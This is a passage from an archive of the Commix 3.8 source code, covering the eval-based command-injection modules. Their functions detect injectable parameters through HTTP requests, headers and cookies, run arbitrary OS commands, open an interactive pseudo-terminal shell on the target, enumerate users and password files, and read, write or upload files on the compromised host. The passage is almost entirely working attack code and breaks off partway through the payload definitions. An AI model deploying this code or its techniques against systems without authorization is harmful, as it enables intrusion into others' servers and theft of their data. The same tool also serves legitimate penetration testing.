response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS:
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
checks.print_enumenation().ps_version_msg()
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
# eof commix-3.8/src/core/injections/results_based/techniques/eval_based/eb_file_access.py 0000775 0000000 0000000 00000012506 14466364451 0031144 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.eval_based import eb_injector
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = checks.change_dir(dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
eb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
eb_injector.injection_results(response, TAG, cmd)
else:
cmd = checks.write_content(content, dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd, dest_to_upload = checks.check_file_to_upload()
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if menu.options.file_write:
file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
# eof commix-3.8/src/core/injections/results_based/techniques/eval_based/eb_handler.py 0000775 0000000 0000000 00000050064 14466364451 0030322 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import string
import random
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.utils import session_handler
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.controller import shell_options
from src.core.injections.results_based.techniques.eval_based import eb_injector
from src.core.injections.results_based.techniques.eval_based import eb_payloads
from src.core.injections.results_based.techniques.eval_based import eb_enumeration
from src.core.injections.results_based.techniques.eval_based import eb_file_access
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
The "eval-based" injection technique handler.
"""
def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique):
shell = False
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.EVAL_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
# suffix = _urllib.parse.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + ")}" in payload:
payload = payload.replace(")%3B" +")}", ")" + ")}")
#payload = payload + TAG + ""
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.replace(settings.SINGLE_WHITESPACE, "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = eb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
time.sleep(timesec)
if settings.VERBOSITY_LEVEL == 0:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(float_percent) + "%)"
elif len(shell) != 0:
percent = settings.info_msg
else:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
time.sleep(timesec)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell or shell != "":
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, injection_type, technique):
if eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False:
return False
# eof commix-3.8/src/core/injections/results_based/techniques/eval_based/eb_injector.py 0000775 0000000 0000000 00000024541 14466364451 0030523 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import json
import string
import random
from src.utils import menu
from src.utils import settings
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.eval_based import eb_payloads
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Get the response of the request
response = requests.get_request_response(request)
return response, vuln_parameter
"""
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
if type(response) is bool and response != True or response is None:
return False
else:
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
else:
shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
return shell
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection_test(url, vuln_parameter, payload):
return requests.cookie_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection_test(url, vuln_parameter, payload):
return requests.user_agent_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection_test(url, vuln_parameter, payload):
return requests.referer_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection_test(url, vuln_parameter, payload):
return requests.host_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection_test(url, vuln_parameter, payload):
return requests.custom_header_injection(url, vuln_parameter, payload)
"""
The main command injection exploitation.
"""
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
else:
payload = eb_payloads.cmd_execution(separator, TAG, cmd)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + _urllib.parse.quote(")}") in payload:
payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Executing the '" + cmd + "' command. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
response = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
response = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
else :
# Check if defined method is POST.
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
return response
# Do the injection check
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
tries = 0
while not response:
if tries < (menu.options.failed_tries / 2):
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
tries = tries + 1
else:
err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously."
sys.stdout.write(settings.print_critical_msg(err_msg)+"\n")
raise SystemExit()
return response
"""
Command execution results.
"""
def injection_results(response, TAG, cmd):
new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", new_line, html_data)
shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data)
try:
if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0:
shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \
re.split(TAG + "(.*)" + TAG, \
re.split(TAG + "(.*)" + TAG, shell[0])[0])[0])
shell = shell[0].replace(new_line, "\n").rstrip().lstrip()
except IndexError:
pass
return shell
# eof commix-3.8/src/core/injections/results_based/techniques/eval_based/eb_payloads.py 0000775 0000000 0000000 00000020330 14466364451 0030512 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
The dynamic code evaluation (aka eval-based) technique.
The available "eval-based" payloads.
"""
"""
eval-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
